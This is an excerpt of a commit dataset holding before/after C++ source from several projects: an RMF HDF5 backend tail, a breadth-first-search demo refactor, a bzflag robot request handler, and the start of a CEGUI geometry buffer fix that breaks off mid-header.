{\n RMF_USAGE_CHECK(str.empty() || str[str.size() - 1] == '\\n',\n \"Description should end in a newline.\");\n get_group().set_char_attribute(\"description\", str);\n}\n\nstd::string HDF5SharedData::get_producer() const {\n if (!get_group().get_has_attribute(\"producer\")) {\n return std::string();\n } else\n return get_group().get_char_attribute(\"producer\");\n}\nvoid HDF5SharedData::set_producer(std::string str) {\n RMF_USAGE_CHECK(str.empty() || str[str.size() - 1] == '\\n',\n \"Producer should end in a newline.\");\n get_group().set_char_attribute(\"producer\", str);\n}\n\nvoid HDF5SharedData::set_name(FrameID i, std::string str) {\n RMF_USAGE_CHECK(i != ALL_FRAMES,\n \"Cannot set the name frame name for static data\");\n if (frame_names_.get_size()[0] <= i.get_index()) {\n frame_names_.set_size(HDF5::DataSetIndexD<1>(i.get_index() + 1));\n }\n frame_names_.set_value(HDF5::DataSetIndexD<1>(i.get_index()), str);\n}\nstd::string HDF5SharedData::get_loaded_frame_name() const {\n FrameID i = get_loaded_frame();\n if (frame_names_.get_size()[0] > i.get_index()) {\n return frame_names_.get_value(HDF5::DataSetIndexD<1>(i.get_index()));\n } else {\n return std::string();\n }\n}\n\nvoid HDF5SharedData::reload() {\n close_things();\n open_things(false, read_only_);\n}\n\n#define RMF_HDF5_SET_FRAME(lcname, Ucname, PassValue, ReturnValue, PassValues, \\\n ReturnValues) \\\n per_frame_##lcname##_data_sets_.set_current_frame(frame);\n\nvoid HDF5SharedData::set_loaded_frame(FrameID frame) {\n RMF_TRACE(get_logger(), \"Loading frame \" << frame);\n BackwardsIOBase::set_loaded_frame(frame);\n RMF_FOREACH_BACKWARDS_TYPE(RMF_HDF5_SET_FRAME);\n}\n} \/\/ namespace hdf5_backend\n} \/* namespace RMF *\/\n\nRMF_DISABLE_WARNINGS\n<|endoftext|>"} {"text":"<commit_before>#include <bits\/stdc++.h>\n#define NUM_NODES 8\nusing namespace std;\n\nvector < int > g[NUM_NODES];\nint d[NUM_NODES];\n\nvoid show(){\n for (int i = 0; i < NUM_NODES; i++){\n cout << i << \" \" << d[i] << endl;\n }\n}\n\/*\n * s -> origin\n * n -> number of nodes\n *\/\nvoid bfs(int o, int n){\n for (int i = 0; i<=n; i++) d[i] = -1;\n queue < int > q;\n q.push(o);\n d[o] = 0; \n while(q.size() > 0){\n int cur = q.front(); q.pop();\n for ( int i = 0; i < g[cur].size(); i++){\n int next = g[cur][i];\n if(d[next] == -1){\n d[next] = d[cur] +1;\n q.push(next);\n }\n }\n }\n}\n\nint main(){\n\n g[0].push_back(1);\n g[0].push_back(2);\n g[0].push_back(3);\n g[1].push_back(4);\n g[1].push_back(5);\n g[2].push_back(6);\n g[3].push_back(7);\n \n bfs(0, NUM_NODES);\n\n show();\n\n\n return 0 ;\n}\n<commit_msg>Improve implementation bfs.<commit_after>#include <bits\/stdc++.h>\n#define pb push_back\n\nusing namespace std;\n\ntypedef vector < int > vi;\nvi dis;\nvector < vi > graph;\n\nvoid show_distances(){\n for( int i = 0; i< dis.size(); i++){\n cout << i << \" : \" << dis[i] << \"\\n\";\n }\n}\n\nvoid bfs(int origin){\n queue < int > q;\n dis[origin] = 0;\n q.push(origin);\n\n while( q.size() > 0){\n int front = q.front(); q.pop();\n for(int son: graph[front]){\n if(dis[son] == -1){\n dis[son] = dis[front] +1;\n q.push(son);\n }\n }\n }\n}\n \n\nint main(){\n int num_nodes = 5;\n dis.assign(num_nodes, -1);\n\n graph.resize(num_nodes);\n\n graph[0].pb(1);\n graph[0].pb(2);\n graph[0].pb(3);\n \n graph[1].pb(4);\n\n bfs(0);\n show_distances();\n\n return 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* bzflag\n * Copyright (c) 1993 - 2008 Tim Riker\n *\n * This package is free software; you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named LICENSE that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n#include \"RCRequests.h\"\n\n#include \"RCReplies.h\"\n#include \"RCRobotPlayer.h\"\n#include \"MessageUtilities.h\"\n#include \"BZDBCache.h\"\n#include \"Roster.h\"\n#include \"World.h\"\n#include \"playing.h\"\n\n#include \"version.h\"\n\n\nbool ExecuteReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n rrp->lastTickAt = TimeKeeper::getCurrent().getSeconds();\n\n if (rrp->pendingUpdates[RCRobotPlayer::speedUpdate])\n rrp->speed = rrp->nextSpeed;\n if (rrp->pendingUpdates[RCRobotPlayer::turnRateUpdate])\n rrp->turnRate = rrp->nextTurnRate;\n\n if (rrp->pendingUpdates[RCRobotPlayer::distanceUpdate])\n {\n if (rrp->nextDistance < 0.0f)\n rrp->distanceForward = false;\n else \n rrp->distanceForward = true;\n rrp->distanceRemaining = (rrp->distanceForward ? 1 : -1) * rrp->nextDistance;\n }\n if (rrp->pendingUpdates[RCRobotPlayer::turnUpdate])\n {\n if (rrp->nextTurn < 0.0f)\n rrp->turnLeft = false;\n else\n rrp->turnLeft = true;\n rrp->turnRemaining = (rrp->turnLeft ? 1 : -1) * rrp->nextTurn * M_PI\/180.0f; \/* We have to convert to radians! *\/\n }\n\n for (int i = 0; i < RCRobotPlayer::updateCount; ++i)\n rrp->pendingUpdates[i] = false;\n\n if (rrp->shoot)\n {\n rrp->shoot = false;\n rrp->fireShot();\n }\n\n return true;\n}\n\nbool SetSpeedReq::process(RCRobotPlayer *rrp)\n{\n rrp->nextSpeed = speed;\n rrp->pendingUpdates[RCRobotPlayer::speedUpdate] = true;\n return true;\n}\n\nbool SetTurnRateReq::process(RCRobotPlayer *rrp)\n{\n rrp->nextTurnRate = rate;\n rrp->pendingUpdates[RCRobotPlayer::turnRateUpdate] = true;\n return true;\n}\n\nbool SetAheadReq::process(RCRobotPlayer *rrp)\n{\n rrp->pendingUpdates[RCRobotPlayer::distanceUpdate] = true;\n rrp->nextDistance = distance;\n return true;\n}\n\nbool SetTurnLeftReq::process(RCRobotPlayer *rrp)\n{\n rrp->pendingUpdates[RCRobotPlayer::turnUpdate] = true;\n rrp->nextTurn = turn;\n return true;\n}\n\nbool SetFireReq::process(RCRobotPlayer *rrp)\n{\n rrp->shoot = true;\n return true;\n}\n\nbool SetResumeReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n if (rrp->hasStopped)\n {\n rrp->hasStopped = false;\n rrp->distanceRemaining = rrp->stoppedDistance;\n rrp->turnRemaining = rrp->stoppedTurn;\n rrp->distanceForward = rrp->stoppedForward;\n rrp->turnLeft = rrp->stoppedLeft;\n }\n return true;\n}\n\nbool GetGunHeatReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n link->send(GunHeatReply(rrp->getReloadTime()));\n return true;\n}\n\nbool GetDistanceRemainingReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n link->send(DistanceRemainingReply(rrp->distanceRemaining));\n return true;\n}\n\nbool GetTurnRemainingReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n link->send(TurnRemainingReply(rrp->turnRemaining * 180.0f\/M_PI));\n return true;\n}\n\nbool GetTickDurationReq::process(RCRobotPlayer *rrp)\n{\n link->sendf(\"GetTickDuration %f\\n\", rrp->tickDuration);\n return true;\n}\n\nbool SetTickDurationReq::process(RCRobotPlayer *rrp)\n{\n rrp->tickDuration = duration;\n return true;\n}\n\nbool GetTickRemainingReq::process(RCRobotPlayer *rrp)\n{\n if (rrp->isSteadyState())\n link->sendf(\"GetTickRemaining %f\\n\", (rrp->lastTickAt + rrp->tickDuration) - TimeKeeper::getCurrent().getSeconds());\n else\n link->send(\"GetTickRemaining 0.0\\n\");\n\n return true;\n}\n\nbool GetBattleFieldSizeReq::process(RCRobotPlayer *)\n{\n link->send(BattleFieldSizeReply(BZDBCache::worldSize));\n return true;\n}\n\nbool GetTeamsReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetBasesReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetObstaclesReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetFlagsReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetShotsReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetMyTanksReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetOtherTanksReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetConstantsReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\n\nbool GetXReq::process(RCRobotPlayer *rrp)\n{\n link->send(XReply(rrp->getPosition()[0]));\n return true;\n}\nbool GetYReq::process(RCRobotPlayer *rrp)\n{\n link->send(YReply(rrp->getPosition()[1]));\n return true;\n}\nbool GetZReq::process(RCRobotPlayer *rrp)\n{\n link->send(ZReply(rrp->getPosition()[2]));\n return true;\n}\n\nbool GetWidthReq::process(RCRobotPlayer *rrp)\n{\n link->send(WidthReply(rrp->getDimensions()[0]));\n return true;\n}\nbool GetLengthReq::process(RCRobotPlayer *rrp)\n{\n link->send(LengthReply(rrp->getDimensions()[1]));\n return true;\n}\nbool GetHeightReq::process(RCRobotPlayer *rrp)\n{\n link->send(HeightReply(rrp->getDimensions()[2]));\n return true;\n}\nbool GetHeadingReq::process(RCRobotPlayer *rrp)\n{\n link->send(HeadingReply(rrp->getAngle()*180.0f\/M_PI));\n return true;\n}\n\nbool SetStopReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n if (!rrp->hasStopped || overwrite)\n {\n rrp->hasStopped = true;\n rrp->stoppedDistance = rrp->distanceRemaining;\n rrp->stoppedTurn = rrp->turnRemaining;\n rrp->stoppedForward = rrp->distanceForward;\n rrp->stoppedLeft = rrp->turnLeft;\n }\n return true;\n}\n\nbool GetPlayersReq::process(RCRobotPlayer *)\n{\n link->send(PlayersBeginReply());\n for (int i = 0; i < curMaxPlayers; i++) {\n if (!player[i])\n continue;\n if (robots[0]->getId() == player[i]->getId())\n continue;\n\n TeamColor team = player[i]->getTeam();\n if (team == ObserverTeam)\n continue;\n if (team == startupInfo.team && startupInfo.team != AutomaticTeam)\n continue;\n\n link->send(PlayersReply(player[i]));\n }\n\n return true;\n}\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<commit_msg>don't need version.h<commit_after>\/* bzflag\n * Copyright (c) 1993 - 2008 Tim Riker\n *\n * This package is free software; you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named LICENSE that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n#include \"RCRequests.h\"\n\n#include \"RCReplies.h\"\n#include \"RCRobotPlayer.h\"\n#include \"MessageUtilities.h\"\n#include \"BZDBCache.h\"\n#include \"Roster.h\"\n#include \"World.h\"\n#include \"playing.h\"\n\n\nbool ExecuteReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n rrp->lastTickAt = TimeKeeper::getCurrent().getSeconds();\n\n if (rrp->pendingUpdates[RCRobotPlayer::speedUpdate])\n rrp->speed = rrp->nextSpeed;\n if (rrp->pendingUpdates[RCRobotPlayer::turnRateUpdate])\n rrp->turnRate = rrp->nextTurnRate;\n\n if (rrp->pendingUpdates[RCRobotPlayer::distanceUpdate])\n {\n if (rrp->nextDistance < 0.0f)\n rrp->distanceForward = false;\n else \n rrp->distanceForward = true;\n rrp->distanceRemaining = (rrp->distanceForward ? 1 : -1) * rrp->nextDistance;\n }\n if (rrp->pendingUpdates[RCRobotPlayer::turnUpdate])\n {\n if (rrp->nextTurn < 0.0f)\n rrp->turnLeft = false;\n else\n rrp->turnLeft = true;\n rrp->turnRemaining = (rrp->turnLeft ? 1 : -1) * rrp->nextTurn * M_PI\/180.0f; \/* We have to convert to radians! *\/\n }\n\n for (int i = 0; i < RCRobotPlayer::updateCount; ++i)\n rrp->pendingUpdates[i] = false;\n\n if (rrp->shoot)\n {\n rrp->shoot = false;\n rrp->fireShot();\n }\n\n return true;\n}\n\nbool SetSpeedReq::process(RCRobotPlayer *rrp)\n{\n rrp->nextSpeed = speed;\n rrp->pendingUpdates[RCRobotPlayer::speedUpdate] = true;\n return true;\n}\n\nbool SetTurnRateReq::process(RCRobotPlayer *rrp)\n{\n rrp->nextTurnRate = rate;\n rrp->pendingUpdates[RCRobotPlayer::turnRateUpdate] = true;\n return true;\n}\n\nbool SetAheadReq::process(RCRobotPlayer *rrp)\n{\n rrp->pendingUpdates[RCRobotPlayer::distanceUpdate] = true;\n rrp->nextDistance = distance;\n return true;\n}\n\nbool SetTurnLeftReq::process(RCRobotPlayer *rrp)\n{\n rrp->pendingUpdates[RCRobotPlayer::turnUpdate] = true;\n rrp->nextTurn = turn;\n return true;\n}\n\nbool SetFireReq::process(RCRobotPlayer *rrp)\n{\n rrp->shoot = true;\n return true;\n}\n\nbool SetResumeReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n if (rrp->hasStopped)\n {\n rrp->hasStopped = false;\n rrp->distanceRemaining = rrp->stoppedDistance;\n rrp->turnRemaining = rrp->stoppedTurn;\n rrp->distanceForward = rrp->stoppedForward;\n rrp->turnLeft = rrp->stoppedLeft;\n }\n return true;\n}\n\nbool GetGunHeatReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n link->send(GunHeatReply(rrp->getReloadTime()));\n return true;\n}\n\nbool GetDistanceRemainingReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n link->send(DistanceRemainingReply(rrp->distanceRemaining));\n return true;\n}\n\nbool GetTurnRemainingReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n link->send(TurnRemainingReply(rrp->turnRemaining * 180.0f\/M_PI));\n return true;\n}\n\nbool GetTickDurationReq::process(RCRobotPlayer *rrp)\n{\n link->sendf(\"GetTickDuration %f\\n\", rrp->tickDuration);\n return true;\n}\n\nbool SetTickDurationReq::process(RCRobotPlayer *rrp)\n{\n rrp->tickDuration = duration;\n return true;\n}\n\nbool GetTickRemainingReq::process(RCRobotPlayer *rrp)\n{\n if (rrp->isSteadyState())\n link->sendf(\"GetTickRemaining %f\\n\", (rrp->lastTickAt + rrp->tickDuration) - TimeKeeper::getCurrent().getSeconds());\n else\n link->send(\"GetTickRemaining 0.0\\n\");\n\n return true;\n}\n\nbool GetBattleFieldSizeReq::process(RCRobotPlayer *)\n{\n link->send(BattleFieldSizeReply(BZDBCache::worldSize));\n return true;\n}\n\nbool GetTeamsReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetBasesReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetObstaclesReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetFlagsReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetShotsReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetMyTanksReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetOtherTanksReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\nbool GetConstantsReq::process(RCRobotPlayer *)\n{\n \/\/ TODO: Implement this. :p\n return true;\n}\n\nbool GetXReq::process(RCRobotPlayer *rrp)\n{\n link->send(XReply(rrp->getPosition()[0]));\n return true;\n}\nbool GetYReq::process(RCRobotPlayer *rrp)\n{\n link->send(YReply(rrp->getPosition()[1]));\n return true;\n}\nbool GetZReq::process(RCRobotPlayer *rrp)\n{\n link->send(ZReply(rrp->getPosition()[2]));\n return true;\n}\n\nbool GetWidthReq::process(RCRobotPlayer *rrp)\n{\n link->send(WidthReply(rrp->getDimensions()[0]));\n return true;\n}\nbool GetLengthReq::process(RCRobotPlayer *rrp)\n{\n link->send(LengthReply(rrp->getDimensions()[1]));\n return true;\n}\nbool GetHeightReq::process(RCRobotPlayer *rrp)\n{\n link->send(HeightReply(rrp->getDimensions()[2]));\n return true;\n}\nbool GetHeadingReq::process(RCRobotPlayer *rrp)\n{\n link->send(HeadingReply(rrp->getAngle()*180.0f\/M_PI));\n return true;\n}\n\nbool SetStopReq::process(RCRobotPlayer *rrp)\n{\n if (!rrp->isSteadyState())\n return false;\n\n if (!rrp->hasStopped || overwrite)\n {\n rrp->hasStopped = true;\n rrp->stoppedDistance = rrp->distanceRemaining;\n rrp->stoppedTurn = rrp->turnRemaining;\n rrp->stoppedForward = rrp->distanceForward;\n rrp->stoppedLeft = rrp->turnLeft;\n }\n return true;\n}\n\nbool GetPlayersReq::process(RCRobotPlayer *)\n{\n link->send(PlayersBeginReply());\n for (int i = 0; i < curMaxPlayers; i++) {\n if (!player[i])\n continue;\n if (robots[0]->getId() == player[i]->getId())\n continue;\n\n TeamColor team = player[i]->getTeam();\n if (team == ObserverTeam)\n continue;\n if (team == startupInfo.team && startupInfo.team != AutomaticTeam)\n continue;\n\n link->send(PlayersReply(player[i]));\n }\n\n return true;\n}\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<|endoftext|>"} {"text":"<commit_before>\/***********************************************************************\n filename: CEGUIGeometryBuffer.cpp\n created: Wed Jan 13 2010\n author: Paul D Turner <paul@cegui.org.uk>\n*************************************************************************\/\n\/***************************************************************************\n * Copyright (C) 2004 - 2010 Paul D Turner & The CEGUI Development Team\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n#include \"CEGUI\/GeometryBuffer.h\"\n#include \"CEGUI\/Vertex.h\"\n#include \"CEGUI\/ShaderParameterBindings.h\"\n\n#include <vector>\n\nnamespace CEGUI\n{\n\/\/---------------------------------------------------------------------------\/\/\nGeometryBuffer::GeometryBuffer(RefCounted<RenderMaterial> renderMaterial)\n : d_translation(0, 0, 0)\n , d_rotation(Quaternion::IDENTITY)\n , d_scale(1.0f, 1.0f, 1.0f)\n , d_pivot(0, 0, 0)\n , d_customTransform(1.0f)\n , d_effect(0)\n , d_matrixValid(false)\n , d_blendMode(BM_NORMAL)\n , d_renderMaterial(renderMaterial)\n , d_polygonFillRule(PFR_NONE)\n , d_postStencilVertexCount(0)\n{\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nGeometryBuffer::~GeometryBuffer()\n{\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setBlendMode(const BlendMode mode)\n{\n d_blendMode = mode;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nBlendMode GeometryBuffer::getBlendMode() const\n{\n return d_blendMode;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendGeometry(const std::vector<ColouredVertex>& coloured_vertices)\n{\n if(coloured_vertices.empty())\n return;\n\n appendGeometry(&coloured_vertices[0], coloured_vertices.size());\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendGeometry(const ColouredVertex* vertex_array,\n uint vertex_count)\n{\n \/\/ Add the vertex data in their default order into an array\n std::vector<float> vertexData;\n const ColouredVertex* vs = vertex_array;\n for (uint i = 0; i < vertex_count; ++i, ++vs)\n {\n \/\/ Add all the elements in the default order for textured and coloured\n \/\/ geometry into the vector\n vertexData.push_back(vs->d_position.x);\n vertexData.push_back(vs->d_position.y);\n vertexData.push_back(vs->d_position.z);\n vertexData.push_back(vs->d_colour.getRed());\n vertexData.push_back(vs->d_colour.getGreen());\n vertexData.push_back(vs->d_colour.getBlue());\n vertexData.push_back(vs->d_colour.getAlpha());\n }\n\n \/\/ Append the prepared geometry data\n appendGeometry(vertexData);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendGeometry(const std::vector<TexturedColouredVertex>& textured_vertices)\n{\n if(textured_vertices.empty())\n return;\n\n appendGeometry(&textured_vertices[0], textured_vertices.size());\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendGeometry(const TexturedColouredVertex* vertex_array,\n uint vertex_count)\n{\n \/\/ Add the vertex data in their default order into an array\n std::vector<float> vertexData;\n const TexturedColouredVertex* vs = vertex_array;\n for (uint i = 0; i < vertex_count; ++i, ++vs)\n {\n \/\/ Add all the elements in the default order for textured and coloured\n \/\/ geometry into the vector\n vertexData.push_back(vs->d_position.x);\n vertexData.push_back(vs->d_position.y);\n vertexData.push_back(vs->d_position.z);\n vertexData.push_back(vs->d_colour.getRed());\n vertexData.push_back(vs->d_colour.getGreen());\n vertexData.push_back(vs->d_colour.getBlue());\n vertexData.push_back(vs->d_colour.getAlpha());\n vertexData.push_back(vs->d_texCoords.x);\n vertexData.push_back(vs->d_texCoords.y);\n }\n\n \/\/ Append the prepared geometry data\n appendGeometry(vertexData);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendGeometry(const float* const vertex_data,\n uint array_size)\n{\n std::vector<float> vectorVertexData(vertex_data, vertex_data + array_size);\n appendGeometry(vectorVertexData);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendVertex(const TexturedColouredVertex& vertex)\n{\n \/\/ Add the vertex data in their default order into an array\n float vertexData[9];\n\n \/\/ Copy the vertex attributes into the array\n vertexData[0] = vertex.d_position.x;\n vertexData[1] = vertex.d_position.y;\n vertexData[2] = vertex.d_position.z;\n vertexData[3] = vertex.d_colour.getRed();\n vertexData[4] = vertex.d_colour.getGreen();\n vertexData[5] = vertex.d_colour.getBlue();\n vertexData[6] = vertex.d_colour.getAlpha();\n vertexData[7] = vertex.d_texCoords.x;\n vertexData[8] = vertex.d_texCoords.y;\n\n appendGeometry(vertexData, 9);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendVertex(const ColouredVertex& vertex)\n{\n \/\/ Add the vertex data in their default order into an array\n float vertexData[7];\n\n \/\/ Copy the vertex attributes into the array\n vertexData[0] = vertex.d_position.x;\n vertexData[1] = vertex.d_position.y;\n vertexData[2] = vertex.d_position.z;\n vertexData[3] = vertex.d_colour.getRed();\n vertexData[4] = vertex.d_colour.getGreen();\n vertexData[5] = vertex.d_colour.getBlue();\n vertexData[6] = vertex.d_colour.getAlpha();\n\n appendGeometry(vertexData, 7);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nint GeometryBuffer::getVertexAttributeElementCount() const\n{\n int count = 0;\n\n const unsigned int attribute_count = d_vertexAttributes.size();\n for (unsigned int i = 0; i < attribute_count; ++i)\n {\n switch(d_vertexAttributes.at(i))\n {\n case VAT_POSITION0:\n count += 3;\n break;\n case VAT_COLOUR0:\n count += 4;\n break;\n case VAT_TEXCOORD0:\n count += 2;\n break;\n default:\n break;\n }\n }\n\n return count;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::resetVertexAttributes()\n{\n d_vertexAttributes.clear();\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::addVertexAttribute(VertexAttributeType attribute)\n{\n d_vertexAttributes.push_back(attribute);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nRefCounted<RenderMaterial> GeometryBuffer::getRenderMaterial() const\n{\n return d_renderMaterial;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setRenderMaterial(RefCounted<RenderMaterial> render_material)\n{\n d_renderMaterial = render_material;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setStencilRenderingActive(PolygonFillRule fill_rule)\n{\n d_polygonFillRule = fill_rule;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setStencilPostRenderingVertexCount(unsigned int vertex_count)\n{\n d_postStencilVertexCount = vertex_count;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setRenderEffect(RenderEffect* effect)\n{\n d_effect = effect;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nRenderEffect* GeometryBuffer::getRenderEffect()\n{\n return d_effect;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setTranslation(const Vector3f& translation)\n{\n if(d_translation != translation)\n {\n d_translation = translation;\n d_matrixValid = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setRotation(const Quaternion& rotationQuat)\n{\n if(d_rotation != rotationQuat)\n {\n d_rotation = rotationQuat;\n d_matrixValid = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setScale(const Vector3f& scale)\n{\n if(d_scale != scale)\n {\n d_scale = scale;\n d_matrixValid = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setScale(const Vector2f& scale)\n{\n setScale(Vector3f(scale, 0.f));\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setPivot(const Vector3f& p)\n{\n if(d_pivot != p)\n {\n d_pivot = Vector3f(p.d_x, p.d_y, p.d_z);\n d_matrixValid = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setCustomTransform(const glm::mat4x4& transformation)\n{\n if(d_customTransform != transformation)\n {\n d_customTransform = transformation;\n d_matrixValid = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setClippingActive(const bool active)\n{\n d_clippingActive = active;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nbool GeometryBuffer::isClippingActive() const\n{\n return d_clippingActive;\n}\n\n\n\/\/----------------------------------------------------------------------------\/\/\nuint GeometryBuffer::getVertexCount() const\n{\n return d_vertexCount;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::reset()\n{\n d_vertexData.clear();\n d_clippingActive = true;\n setTexture(0);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setTexture(Texture* texture)\n{\n CEGUI::ShaderParameterBindings* shaderParameterBindings = (*d_renderMaterial).getShaderParamBindings();\n shaderParameterBindings->setParameter(\"texture0\", texture);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n}\n\n<commit_msg>MOD: Fixed an issue with shader parameters and the GeomBuffer reset function Thanks to timotei for reporting this<commit_after>\/***********************************************************************\n filename: CEGUIGeometryBuffer.cpp\n created: Wed Jan 13 2010\n author: Paul D Turner <paul@cegui.org.uk>\n*************************************************************************\/\n\/***************************************************************************\n * Copyright (C) 2004 - 2010 Paul D Turner & The CEGUI Development Team\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n 